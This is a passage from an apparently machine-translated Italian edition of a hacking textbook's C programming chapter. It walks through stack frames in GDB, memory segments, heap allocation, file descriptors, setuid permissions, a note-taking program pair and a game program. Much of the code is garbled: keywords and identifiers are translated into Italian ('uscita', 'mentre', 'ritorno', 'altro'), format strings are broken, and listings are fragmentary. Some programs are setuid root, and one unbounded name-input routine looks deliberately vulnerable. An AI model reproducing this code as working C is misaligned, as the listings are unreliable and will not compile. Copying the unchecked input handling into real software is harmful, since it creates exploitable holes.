int i = 5;
printf ("\ t [in func1] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t [in func1] j @ 0x% 08x =% d \ n", & j, j);
func2 ();
printf ("\ t [torna in func1] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t [torna in func1] j @ 0x% 08x =% d \ n", & j, j);
}
64 0x200
Pagina 79
int main () {
int i = 3;
printf ("[in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[in main] j @ 0x% 08x =% d \ n", & j, j);
func1 ();
printf ("[torna in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[torna in principale] j @ 0x% 08x =% d \ n", & j, j);
}
Programmazione 65
Pagina 80
10
(gdb) break 7
Breakpoint 1 in 0x8048388: file scope3.c, riga 7.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
[in main] i @ 0xbffff804 = 3
[in main] j @ 0x08049988 = 42
[in func1] i @ 0xbffff7e4 = 5
[in func1] j @ 0x08049988 = 42
[in func2] i @ 0xbffff7c4 = 7
[in func2] j @ 0x08049988 = 42
[in func2] impostazione j = 1337
(gdb) bt full
# 0 func3 () in scope3.c: 7
io = 11
j = 999
# 1 0x0804841d in func2 () in scope3.c: 17
io = 7
# 2 0x0804849f in func1 () in scope3.c: 26
io = 5
# 3 0x0804852b in main () in scope3.c: 35
io = 3
(gdb)
66 0x200
Pagina 81
static.c
#include <stdio.h>
Il nome appropriato static_var è definito come una variabile statica in due punti:
nel contesto di main () e nel contesto di function () . Dal momento che statico
le variabili sono locali all'interno di un particolare contesto funzionale, queste variabili possono
hanno lo stesso nome, ma in realtà rappresentano due località diverse in
memoria. La funzione stampa semplicemente i valori delle due variabili nella sua configurazione
text e quindi aggiunge 1 a entrambi. Compilare ed eseguire questo codice lo farà
mostra la differenza tra le variabili statiche e non statiche.
lettore @ hacking: ~ / booksrc $ gcc static.c
lettore @ hacking: ~ / booksrc $ ./a.out
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 5
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 6
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 7
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 8
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 9
lettore @ hacking: ~ / booksrc $
Programmazione 67
Pagina 82
static2.c
#include <stdio.h>
68 0x200
Pagina 83
Programmazione 69
Pagina 84
70 0x200
Pagina 85
Il seguente codice stack_example.c ha due funzioni: main () e
funzione_test () .
stack_example.c
flag = 31337;
buffer [0] = "A";
}
int main () {
funzione_test (1, 2, 3, 4);
}
Questo programma dichiara prima una funzione di test che ha quattro argomenti, che
sono tutti dichiarati come numeri interi: a , b , c e d . Le variabili locali per la funzione
includere un singolo carattere chiamato flag e un buffer di 10 caratteri chiamato buffer .
La memoria per queste variabili è nel segmento dello stack, mentre la macchina
le istruzioni per il codice della funzione sono memorizzate nel segmento di testo. Dopo
compilando il programma, il suo funzionamento interno può essere esaminato con GDB. Il
L'output seguente mostra le istruzioni della macchina disassemblata per main () e
. La funzione main () inizia da 0x08048357 e test_function ()
funzione_test ()
inizia da 0x08048344 . Le prime poche istruzioni di ciascuna funzione (mostrate in
grassetto sotto) imposta lo stack frame. Queste istruzioni vengono chiamate collettivamente
il prologo della procedura o il prologo della funzione . Salvano il puntatore del fotogramma sul file
stack e salvano la memoria dello stack per le variabili della funzione locale. Qualche volta
il prologo della funzione gestirà anche un po 'di allineamento dello stack. L'esatto
le istruzioni del prologo variano notevolmente a seconda del compilatore e del file
opzioni del compilatore, ma in generale queste istruzioni costruiscono lo stack frame.
Programmazione 71
Pagina 86
Quando il programma viene eseguito, viene chiamata la funzione main () , che semplicemente chiama
funzione_test ().
Quando test_function () viene chiamato dalla funzione main () , i vari file
i valori vengono inseriti nello stack per creare l'inizio dello stack frame come segue.
Quando viene chiamato test_function () , gli argomenti della funzione vengono inseriti nel file
impilare in ordine inverso (poiché è FILO). Gli argomenti per la funzione sono
1, 2, 3 e 4, quindi le successive istruzioni push premono 4, 3, 2 e infine 1
nello stack. Questi valori corrispondono alle variabili d , c , b , e una nella
funzione. Le istruzioni che mettono questi valori in pila sono mostrate in
grassetto nel disassemblaggio della funzione main () di seguito.
Pagina 87
pointer (SFP) e viene successivamente utilizzato per ripristinare EBP al suo stato originale.
Il valore corrente di ESP viene quindi copiato in EBP per impostare il nuovo puntatore di frame.
Questo puntatore al frame viene utilizzato per fare riferimento alle variabili locali della funzione
( bandiera e buffer ). La memoria viene salvata per queste variabili sottraendo da
ESP. Alla fine, lo stack frame ha un aspetto simile a questo:
bandiera
un'
Indirizzi alti
Possiamo osservare la costruzione dello stack frame sullo stack utilizzando GDB. Nel
dopo l'output, un breakpoint viene impostato in main () prima della chiamata a test_function ()
e anche all'inizio di test_function () . GDB metterà la prima pausa-
punto prima che gli argomenti della funzione vengano inseriti nello stack e il secondo
breakpoint dopo il prologo della procedura di test_function () . Quando il programma è
run, l'esecuzione si ferma al breakpoint, dove l'ESP (stack pointer) del registro,
Vengono esaminati EBP (frame pointer) ed EIP (execution pointer).
Programmazione 73
Pagina 88
Questo punto di interruzione si trova subito prima dello stack frame per la chiamata test_function ()
è creato. Ciò significa che il fondo di questo nuovo stack frame è quello corrente
valore di ESP, 0xbffff7f0 . Il punto di interruzione successivo è subito dopo la procedura
prologo per test_function () , quindi continuando si creerà lo stack frame. Il
l'output di seguito mostra informazioni simili al secondo punto di interruzione. Il locale
le variabili ( flag e buffer ) sono referenziate rispetto al frame pointer (EBP).
(gdb) cont
Continuando.
Lo stack frame viene visualizzato sullo stack alla fine. I quattro argomenti a
la funzione può essere vista in fondo allo stack frame (), con il ritorno
indirizzo trovato direttamente in alto (). Sopra quello è il puntatore al fotogramma salvato di
0xbffff808 (), che è ciò che era EBP nello stack frame precedente. Il resto di
la memoria viene salvata per le variabili dello stack locale: flag e buffer . Calcola
i loro indirizzi relativi a EBP mostrano le loro posizioni esatte nello stack
telaio. La memoria per la variabile flag è mostrata in e la memoria per la
La variabile buffer è mostrata in. Lo spazio extra nello stack frame è giusto
imbottitura.
74 0x200
Pagina 89
consentendo allo stack di essere più grande se il verso l'alto verso il basso
indirizzi di memoria.
heap è piccolo e viceversa.
Segmento dello stack
Indirizzi alti
memory_segments.c
#include <stdio.h>
int global_var;
Programmazione 75
Pagina 90
int global_initialized_var = 5;
printf ("stack_var della funzione è all'indirizzo 0x% 08x \ n", & stack_var);
}
int main () {
int stack_var; // Stesso nome della variabile in function ()
static int static_initialized_var = 5;
static int static_var;
int * heap_var_ptr;
76 0x200
Pagina 91
Le prime due variabili inizializzate hanno gli indirizzi di memoria più bassi,
poiché si trovano nel segmento di memoria dati. Le prossime due variabili,
static_vare global_var , sono archiviati nel segmento di memoria bss, dal momento che
non vengono inizializzati. Questi indirizzi di memoria sono leggermente più grandi dei precedenti
indirizzi delle variabili, poiché il segmento bss si trova sotto il segmento dati.
Poiché entrambi questi segmenti di memoria hanno una dimensione fissa dopo la compilazione,
c'è poco spazio sprecato e gli indirizzi non sono molto distanti.
La variabile di heap viene memorizzata nello spazio allocato sul segmento di heap,
che si trova appena sotto il segmento bss. Ricorda quel ricordo in questo
il segmento non è fisso e più spazio può essere allocato dinamicamente in un secondo momento. Finalmente,
gli ultimi due stack_var hanno indirizzi di memoria molto grandi, poiché si trovano
nel segmento dello stack. Anche la memoria nello stack non è fissa; tuttavia, questo
la memoria inizia dal basso e cresce all'indietro verso il segmento di heap.
Ciò consente a entrambi i segmenti di memoria di essere dinamici senza sprecare spazio
memoria. Il primo stack_var nel contesto della funzione main () è memorizzato nel file
segmento dello stack all'interno di uno stack frame. Il secondo stack_var in function () ha il suo
proprio contesto univoco, in modo che la variabile sia memorizzata in un diverso stack frame
nel segmento dello stack. Quando function () viene chiamata verso la fine del programma,
viene creato un nuovo stack frame per memorizzare (tra le altre cose) stack_var per
contesto di function () . Poiché lo stack cresce di nuovo verso il segmento di heap
con ogni nuovo stack frame, l'indirizzo di memoria per il secondo stack_var
( 0xbffff814 ) è più piccolo dell'indirizzo per il primo stack_var ( 0xbffff834 )
trovato nel contesto di main () .
heap_example.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Programmazione 77
Pagina 92
int main (int argc, char * argv []) {
char * char_ptr; // Un puntatore di caratteri
int * int_ptr; // Un puntatore intero
int mem_size;
printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) malloc (mem_size); // Allocazione della memoria heap
if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
printf ("\ t [+] allocare 12 byte di memoria sull'heap per int_ptr \ n");
int_ptr = (int *) malloc (12); // Allocato di nuovo la memoria heap
if (int_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
78 0x200
Pagina 93
Questo programma accetta un argomento della riga di comando per la dimensione del primo
allocazione della memoria, con un valore predefinito di 50. Quindi utilizza malloc () e
funzioni free () per allocare e deallocare la memoria nell'heap. Ci sono
un sacco di istruzioni printf () per eseguire il debug di ciò che sta effettivamente accadendo quando il
il programma viene eseguito. Poiché malloc () non sa di che tipo di memoria si tratta
allocando, restituisce un puntatore void alla memoria heap appena allocata,
che deve essere typecast nel tipo appropriato. Dopo ogni chiamata malloc () ,
c'è un blocco di controllo degli errori che controlla se l'allocazione o meno
fallito. Se l'allocazione fallisce e il puntatore è NULL, viene utilizzato fprintf ()
stampa un messaggio di errore su standard error e il programma si chiude. Il fprintf ()
la funzione è molto simile a printf () ; tuttavia, il suo primo argomento è stderr , che
è un filestream standard pensato per visualizzare gli errori. Questa funzione sarà
spiegato più avanti, ma per ora è usato solo come un modo per visualizzare correttamente
un errore. Il resto del programma è piuttosto semplice.
Se un blocco di memoria più grande viene allocato e quindi deallocato, il file final
L'allocazione di 15 byte si verificherà invece in quello spazio di memoria liberato. Per esperienza
menting con valori diversi, è possibile capire esattamente quando l'allocazione
Programmazione 79
Pagina 94
la funzione sceglie di recuperare lo spazio liberato per nuove allocazioni. Spesso semplice
informativa printf () le dichiarazioni e un po 'di sperimentazione può rivelare molti
cose sul sistema sottostante.
errorchecked_heap.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) errorchecked_malloc (mem_size); // Allocazione della memoria heap
80 0x200
Pagina 95
void * errorchecked_malloc (unsigned int size) {// Una funzione malloc () verificata dagli errori
void * ptr;
ptr = malloc (dimensione);
if (ptr == NULL) {
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
return ptr;
}
Programmazione 81
Pagina 96
Il codice a barre sul retro di questo libro rappresenta un numero. Perchè questo
numero è unico tra gli altri libri in una libreria, il cassiere può
scansiona il numero al momento del pagamento e usalo per fare riferimento alle informazioni su questo
prenota nel database del negozio. Allo stesso modo, un descrittore di file è un numero che è
utilizzato per fare riferimento a file aperti. Quattro funzioni comuni che utilizzano descrittori di file
sono open () , close () , read () e write () . Tutte queste funzioni restituiranno Г1 se
c'è un errore. La funzione open () apre un file per la lettura e / o la scrittura
e restituisce un descrittore di file. Il descrittore di file restituito è solo un numero intero
valore, ma è unico tra i file aperti. Il descrittore di file viene passato come file
argomento per le altre funzioni come un puntatore al file aperto. Per il
close (), il descrittore di file è l'unico argomento. Il read () e
Gli argomenti delle funzioni write () sono il descrittore di file, un puntatore ai dati a
leggere o scrivere e il numero di byte da leggere o scrivere da quella posizione.
Gli argomenti della funzione open () sono un puntatore al nome del file da aprire
e una serie di flag predefiniti che specificano la modalità di accesso. Queste bandiere e
il loro utilizzo verrà spiegato in dettaglio più avanti, ma per ora diamo un'occhiata a un file
semplice programma per prendere appunti che utilizza descrittori di file: simplenote.c. Questo
il programma accetta una nota come argomento della riga di comando e quindi la aggiunge al file
fine del file / tmp / notes. Questo programma utilizza diverse funzioni, incluso un file
funzione di allocazione della memoria dell'heap controllata dagli errori dall'aspetto familiare. Altre funzioni
vengono utilizzate per visualizzare un messaggio di utilizzo e per gestire gli errori irreversibili. Il
La funzione usage () è semplicemente definita prima di main () , quindi non ha bisogno di una funzione
prototipo.
simplenote.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
82 0x200
Pagina 97
strncat (buffer, "\ n", 1); // Aggiunge una nuova riga alla fine.
Oltre agli strani flag usati nella funzione open () , la maggior parte di questo
il codice dovrebbe essere leggibile. Ci sono anche alcune funzioni standard che noi
non hanno mai usato prima. La funzione strlen () accetta una stringa e restituisce la sua
lunghezza. Viene utilizzato in combinazione con la funzione write () , poiché è necessario
sapere quanti byte scrivere. La funzione perror () è l'abbreviazione di print error ed è
utilizzato in fatal () per stampare un messaggio di errore aggiuntivo (se esiste) prima di uscire.
Programmazione 83
Pagina 98
Questi flag possono essere combinati con molti altri flag opzionali utilizzando il
Operatore OR bit per bit. Alcuni dei più comuni e utili di questi flag sono
come segue:
Le operazioni bit per bit combinano i bit utilizzando porte logiche standard come OR e
E. Quando due bit entrano in una porta OR, il risultato è 1 se il primo bit o il file
il secondo bit è 1. Se due bit entrano in una porta AND, il risultato è 1 solo se entrambi i primi
bit e il secondo bit sono 1. I valori a 32 bit completi possono utilizzare questi operatori bit per bit per
eseguire operazioni logiche su ogni bit corrispondente. Il codice sorgente di
bitwise.c e l'output del programma dimostrano queste operazioni bitwise.
bitwise.c
#include <stdio.h>
int main () {
int i, bit_a, bit_b;
printf ("operatore OR bit per bit | \ n");
84 0x200
Pagina 99
fcntl_flags.c
#include <stdio.h>
#include <fcntl.h>
Programmazione 85
Pagina 100
L'utilizzo di flag di bit in combinazione con la logica bit per bit è un metodo efficiente e
monly ha usato la tecnica. Finché ogni bandiera è un numero che ha solo un unico
bit attivati, l'effetto di eseguire un OR bit per bit su questi valori è lo stesso di
aggiungendoli. In fcntl_flags.c, 1 + 1024 + 64 = 1089. Questa tecnica funziona solo
quando tutti i bit sono unici, però.
86 0x200
Pagina 101
Se hai già familiarità con i permessi dei file Unix, quei flag dovrebbero
ha perfettamente senso per te. Se non hanno senso, ecco un corso accelerato in
Autorizzazioni file Unix.
Ogni file ha un proprietario e un gruppo. Questi valori possono essere visualizzati utilizzando
ls -l e sono mostrati di seguito nel seguente output.
Per il file / etc / passwd, il proprietario è root e anche il gruppo è root. Per
gli altri due file semplici, il proprietario è il lettore e il gruppo è gli utenti.
Le autorizzazioni di lettura, scrittura ed esecuzione possono essere attivate e disattivate per tre
diversi campi: utente, gruppo e altro. Le autorizzazioni utente descrivono cosa è
proprietario del file può fare (leggere, scrivere e / o eseguire), i permessi di gruppo
descrivere cosa possono fare gli utenti di quel gruppo e descrivere altre autorizzazioni
quello che tutti gli altri possono fare. Questi campi vengono visualizzati anche nella parte anteriore del file
ls -loutput. Innanzitutto, vengono visualizzate le autorizzazioni di lettura / scrittura / esecuzione dell'utente,
usando r per leggere, w per scrivere, x per eseguire e - per off. I prossimi tre
i caratteri visualizzano i permessi del gruppo e gli ultimi tre caratteri lo sono
per le altre autorizzazioni. Nell'output sopra, il programma simplenote ha
tutte e tre le autorizzazioni utente attivate (mostrate in grassetto). Ogni permesso cor-
risponde a un flag di bit; read è 4 (100 in binario), write è 2 (010 in binario) e
execute è 1 (001 in binario). Poiché ogni valore contiene solo bit univoci,
un'operazione OR bit per bit ottiene lo stesso risultato dell'aggiunta di questi numeri
insieme fa. Questi valori possono essere sommati per definire le autorizzazioni per
utente, gruppo e altro utilizzando il comando chmod .
Programmazione 87
Pagina 102
0x283 ID utente
Ogni utente su un sistema Unix ha un numero ID utente univoco. Questo ID utente può
essere visualizzato utilizzando il comando id .
88 0x200
Pagina 103
Come l'utente jose, il programma simplenote verrà eseguito come jose se viene eseguito,
ma non avrà accesso al file / tmp / notes. Questo file è di proprietà dell'utente
lettore e consente solo il permesso di lettura e scrittura al suo proprietario.
Il programma chsh ha il flag setuid impostato, che è indicato da una s nel file
È l'output sopra. Poiché questo file è di proprietà di root e dispone dell'autorizzazione setuid
impostato, il programma verrà eseguito come utente root quando un utente esegue questo programma.
Anche il file / etc / passwd su cui scrive chsh è di proprietà di root e consente solo
il proprietario per scriverci. La logica del programma in chsh è progettata per consentire solo
scrivendo alla riga in / etc / passwd che corrisponde all'utente che esegue il file
programma, anche se il programma è effettivamente in esecuzione come root. Questo
significa che un programma in esecuzione ha sia un ID utente reale che un utente effettivo
ID. Questi ID possono essere recuperati utilizzando le funzioni getuid () e geteuid () ,
rispettivamente, come mostrato in uid_demo.c.
Programmazione 89
Pagina 104
uid_demo.c
#include <stdio.h>
int main () {
printf ("real uid:% d \ n", getuid ());
printf ("uid effettivo:% d \ n", geteuid ());
}
Poiché il programma è ora di proprietà di root, è necessario utilizzare sudo per modificare
permessi di file su di esso. Il chmod u + s giri di comando sulla setuid autoriz-
sion, che può essere visto nel seguente output di ls -l . Ora quando l'utente
il lettore esegue uid_demo , l'ID utente effettivo è 0 per root, il che significa che il file
il programma può accedere ai file come root. Questo è il modo in cui il programma chsh è in grado di consentire
qualsiasi utente per modificare la propria shell di login memorizzata in / etc / passwd.
90 0x200
Pagina 105
Questa stessa tecnica può essere utilizzata in un programma per prendere appunti multiutente.
Il prossimo programma sarà una modifica del programma simplenote; lo farà
registra anche l'ID utente dell'autore originale di ciascuna nota. Inoltre, un nuovo
verrà introdotta la sintassi per #include .
Le funzioni ec_malloc () e fatal () sono state utili in molti dei nostri
programmi. Invece di copiare e incollare queste funzioni in ogni programma,
possono essere inseriti in un file di inclusione separato.
hacking.h
notetaker.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"
Programmazione 91
Pagina 106
Il file di output è stato modificato da / tmp / notes a / var / notes, quindi il file
i dati sono ora archiviati in un luogo più permanente. La funzione getuid () è usata per
ottenere l'ID utente reale, che viene scritto nel file di dati sulla riga prima della nota
la linea è scritta. Poiché la funzione write () si aspetta un puntatore per la sua sorgente,
l' operatore & viene utilizzato sul valore intero userid per fornire il suo indirizzo.
92 0x200
Pagina 107
Il file / var / notes contiene l'ID utente del lettore (999) e la nota.
A causa dell'architettura little-endian, compaiono i 4 byte dell'intero 999
invertito in esadecimale (mostrato in grassetto sopra).
Affinché un normale utente possa leggere i dati della nota, un
ing setuid è necessaria programma principale. Il programma notesearch.c leggerà il file
annotare i dati e visualizzare solo le note scritte da quell'ID utente. Inoltre, un file
È possibile fornire un argomento facoltativo della riga di comando per una stringa di ricerca. quando
viene utilizzato, verranno visualizzate solo le note che corrispondono alla stringa di ricerca.
notesearch.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"
Programmazione 93
Pagina 108
int print_notes (int, int, char *); // Funzione di stampa delle note.
int find_user_note (int, int); // Cerca nel file una nota per l'utente.
int search_note (char *, char *); // Cerca la funzione parola chiave.
void fatal (char *); // Gestore di errori irreversibili
mentre (stampa)
stampa = print_notes (fd, userid, searchstring);
printf ("------- [dati di fine nota] ------- \ n");
chiudere (fd);
}
// Una funzione per stampare le note per un dato uid che corrisponde
// una stringa di ricerca opzionale;
// restituisce 0 alla fine del file, 1 se ci sono ancora più note.
int print_notes (int fd, int uid, char * searchstring) {
int note_length;
char byte = 0, note_buffer [100];
while (note_uid! = user_uid) {// Continua finché non viene trovata una nota per user_uid.
94 0x200
Pagina 109
byte = lunghezza = 0;
while (byte! = '\ n') {// Calcola quanti byte mancano alla fine della riga.
if (read (fd, & byte, 1)! = 1) // Legge un singolo byte.
return -1; // Se byte non viene letto, restituisce la fine del codice del file.
length ++;
}
}
lseek (fd, lunghezza * -1, SEEK_CUR); // Riavvolge la lettura del file in base alla lunghezza dei byte.
printf ("[DEBUG] ha trovato una nota di% d byte per l'ID utente% d \ n", length, note_uid);
lunghezza di ritorno;
}
// Una funzione per cercare una nota per una determinata parola chiave;
// restituisce 1 se viene trovata una corrispondenza, 0 se non esiste alcuna corrispondenza.
int search_note (char * note, char * keyword) {
int i, keyword_length, match = 0;
La maggior parte di questo codice dovrebbe avere senso, ma ci sono alcuni nuovi concetti.
Il nome del file è definito in alto invece di utilizzare la memoria heap. Anche il
la funzione lseek () viene utilizzata per riavvolgere la posizione di lettura nel file. La funzione
chiamata di lseek (fd, length * -1, SEEK_CUR); dice al programma di spostare la lettura
posizione in avanti dalla posizione corrente nel file per lunghezza * -1 byte.
Poiché questo risulta essere un numero negativo, la posizione viene spostata all'indietro
per lunghezza byte.
Programmazione 95
Pagina 110
Quando l'utente jose utilizza questi programmi, l'ID utente reale è 501. Questo
significa che il valore viene aggiunto a tutte le note scritte con notetaker e solo alle note
con un ID utente corrispondente verrà visualizzato dal programma notesearch.
reader @ hacking: ~ / booksrc $ ./notetaker "Questa è un'altra nota per l'utente lettore"
[DEBUG] buffer @ 0x804a008: "Questa è un'altra nota per l'utente lettore"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
questo è un test di note multiutente
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
Questa è un'altra nota per l'utente lettore
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $
Allo stesso modo, tutte le note per il lettore utente hanno l'ID utente 999 allegato
loro. Anche se entrambi i programmi notetaker e notesearch sono suid
root e avere pieno accesso in lettura e scrittura al file di dati / var / notes, il
la logica del grammo nel programma di ricerca delle note impedisce all'utente corrente di visualizzare
le note di altri utenti. Questo è molto simile a come viene memorizzato il file / etc / passwd
informazioni utente per tutti gli utenti, ma programmi come chsh e passwd consentono a qualsiasi utente
per cambiare la propria shell o password.
0x284 Structs
A volte ci sono più variabili che dovrebbero essere raggruppate insieme e
trattato come tale. In C, le strutture sono variabili che possono contenere molte altre variabili
abili. Le strutture sono spesso utilizzate da varie funzioni di sistema e librerie, quindi
capire come usare gli struct è un prerequisito per usare queste funzioni.
96 0x200
Pagina 111
Per ora basterà un semplice esempio. Quando si ha a che fare con molte funzioni temporali,
queste funzioni usano una struttura temporale chiamata tm , che è definita in / usr / include /
time.h. La definizione della struttura è la seguente.
struct tm {
int tm_sec; / * secondi * /
int tm_min; /* minuti */
int tm_hour; /* ore */
int tm_mday; / * giorno del mese * /
int tm_mon; /* mese */
int tm_year; /* anno */
int tm_wday; /* giorno della settimana */
int tm_yday; / * giorno dell'anno * /
int tm_isdst; / * ora legale * /
};
Dopo che questa struttura è stata definita, struct tm diventa un tipo di variabile utilizzabile, che
può essere utilizzato per dichiarare variabili e puntatori con il tipo di dati della struttura tm .
Il programma time_example.c lo dimostra. Quando time.h è incluso,
la tm struct è definita, che viene poi utilizzata per dichiarare il current_time e
variabili time_ptr .
time_example.c
#include <stdio.h>
#include <time.h>
int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuto, secondo, giorno, mese, anno;
printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);
}
Programmazione 97
Pagina 112
di current_time , una struttura tm vuota . L'indirizzo dell'operatore viene utilizzato per fornire
un puntatore a seconds_since_epoch per l'altro argomento a localtime_r () , che
riempie gli elementi della struttura tm . È possibile accedere agli elementi delle strutture in
tre modi diversi; i primi due sono i modi corretti per accedere agli elementi della struttura,
e la terza è una soluzione compromessa. Se viene utilizzata una variabile struct, i suoi elementi possono
accessibile aggiungendo i nomi degli elementi alla fine del nome della variabile
con un punto. Pertanto, current_time.tm_hour accederà solo a tm_hour
elemento della struttura tm chiamato current_time . I puntatori alle strutture vengono spesso utilizzati,
poiché è molto più efficiente passare un puntatore a quattro byte rispetto a un intero dato
struttura. I puntatori a Struct sono così comuni che C ha un metodo incorporato per
accedere agli elementi struct da un puntatore a struct senza dover dereferenziare
il puntatore. Quando si usa un puntatore a struttura come time_ptr , gli elementi struct possono essere
accessibile in modo simile dal nome dell'elemento struct, ma utilizzando una serie di caratteri
sembra una freccia che punta a destra. Pertanto, time_ptr-> tm_min lo farà
accedere all'elemento tm_min della struttura tm a cui punta time_ptr . Il
secondi è possibile accedere tramite uno di questi metodi appropriati, utilizzando il
tm_sec o
la struttura tm , ma viene utilizzato un terzo metodo. Riesci a capire
come funziona questo terzo metodo?
time_example2.c
#include <stdio.h>
#include <time.h>
98 0x200
Pagina 113
int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuti, secondi, i, * int_ptr;
printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);
Programmazione 99
Pagina 114
Sebbene sia possibile accedere alla memoria della struttura in questo modo, vengono fatte delle ipotesi
sul tipo di variabili nella struttura e sulla mancanza di riempimento tra
variabili. Poiché i tipi di dati degli elementi di una struttura vengono memorizzati anche in
struct, usare metodi appropriati per accedere agli elementi struct è molto più semplice.
funcptr_example.c
#include <stdio.h>
int func_one () {
printf ("Questa è la funzione uno \ n");
ritorno 1;
}
int func_two () {
printf ("Questa è la funzione due \ n");
ritorno 2;
}
int main () {
valore int;
int (* function_ptr) ();
function_ptr = func_one;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);
function_ptr = func_two;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);
}
In questo programma, viene dichiarato un puntatore a funzione chiamato in modo appropriato function_ptr
in main () . Questo puntatore viene quindi impostato per puntare alla funzione func_one () ed è
chiamato; quindi viene impostato di nuovo e utilizzato per chiamare func_two () . L'output di seguito mostra
la compilazione e l'esecuzione di questo codice sorgente.
100 0x200
Pagina 115
function_ptr è 0x0804838d
Questa è la funzione due
il valore restituito era 2
lettore @ hacking: ~ / booksrc $
rand_example.c
#include <stdio.h>
#include <stdlib.h>
int main () {
int i;
printf ("RAND_MAX è% u \ n", RAND_MAX);
srand (time (0));
Si noti come viene utilizzato l'operatore modulo per ottenere valori casuali da
Da 1 a 20.
Programmazione 101
Pagina 116
815015288
1315541117
2080969327
450538726
710528035
907694519
1525415338
1843056422
valori casuali da 1 a 20
2
3
8
5
9
1
4
20
lettore @ hacking: ~ / booksrc $ ./a.out
RAND_MAX è 2147483647
valori casuali da 0 a RAND_MAX
678789658
577505284
1472754734
2134715072
1227404380
1746681907
341911720
93522744
valori casuali da 1 a 20
6
16
12
19
8
19
2
1
lettore @ hacking: ~ / booksrc $
102 0x200
Pagina 117
game_of_chance.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include <time.h>
#include <stdlib.h>
#include "hacking.h"
// Prototipi di funzioni
int get_player_data ();
void register_new_player ();
void update_player_data ();
void show_highscore ();
jackpot nullo ();
void input_name ();
void print_cards (char *, char *, int);
int take_wager (int, int);
void play_the_game ();
int pick_a_number ();
int dealer_no_match ();
int find_the_ace ();
void fatal (char *);
// Variabili globali
struct user player; // Struttura del giocatore
int main () {
int choice, last_game;
while (scelta! = 7) {
printf ("- = [Menu del gioco d'azzardo] = - \ n");
printf ("1 - Gioca al gioco Scegli un numero \ n");
printf ("2 - Gioca al gioco No Match Dealer \ n");
printf ("3 - Gioca al gioco Trova l'asso \ n");
printf ("4 - Visualizza il punteggio più alto attuale \ n");
printf ("5 - Cambia il tuo nome utente \ n");
Programmazione 103
Pagina 118
104 0x200
Pagina 119
return -1;
altro
giocatore = entrata; // Copia la voce di lettura nella struttura del lettore.
ritorno 1; // Restituisce un successo.
}
Programmazione 105
Pagina 120
int fd;
// Questa funzione viene utilizzata per inserire il nome del giocatore, da allora
// scanf ("% s", & qualunque cosa) interromperà l'input al primo spazio.
void input_name () {
char * name_ptr, input_char = '\ n';
while (input_char == '\ n') // Elimina gli avanzi
scanf ("% c", & input_char); // caratteri di nuova riga.
name_ptr = (char *) & (player.name); // name_ptr = indirizzo del nome del giocatore
while (input_char! = '\ n') {// Ciclo fino a nuova riga.
* name_ptr = input_char; // Inserisce il carattere di input nel campo del nome.
scanf ("% c", & input_char); // Ottieni il carattere successivo.
name_ptr ++; // Incrementa il puntatore del nome.
}
* name_ptr = 0; // Termina la stringa.
}
106 0x200
Pagina 121
altro {
for (i = 0; i <user_pick; i ++)
printf ("\ t");
printf ("^ - la tua scelta \ n");
}
}
// Questa funzione inserisce le scommesse sia per il No Match Dealer che per
// Trova i giochi Ace. Si aspettano i crediti disponibili e il
// scommessa precedente come argomenti. La scommessa_precedente è importante solo
// per la seconda scommessa nel gioco Trova l'asso. La funzione
// restituisce -1 se la scommessa è troppo grande o troppo piccola e ritorna
// l'importo della scommessa altrimenti.
int take_wager (int available_credits, int previous_wager) {
int wager, total_wager;
while (play_again) {
printf ("\ n [DEBUG] puntatore_gioco corrente @ 0x% 08x \ n", giocatore.corrent_game);
if (player.current_game ()! = -1) { // Se il gioco funziona senza errori e
se (player.credits> player.highscore) // viene impostato un nuovo punteggio elevato,
player.highscore = player.credits; // aggiorna il punteggio più alto.
printf ("\ nHai ora% u crediti \ n", player.credits);
update_player_data (); // Scrivi il nuovo totale del credito su file.
printf ("Ti piacerebbe giocare di nuovo? (y / n)");
selezione = '\ n';
while (selezione == '\ n') // Elimina ogni nuova riga in più.
scanf ("% c", & selezione);
if (selezione == 'n')
play_again = 0;
}
altro // Ciò significa che il gioco ha restituito un errore,
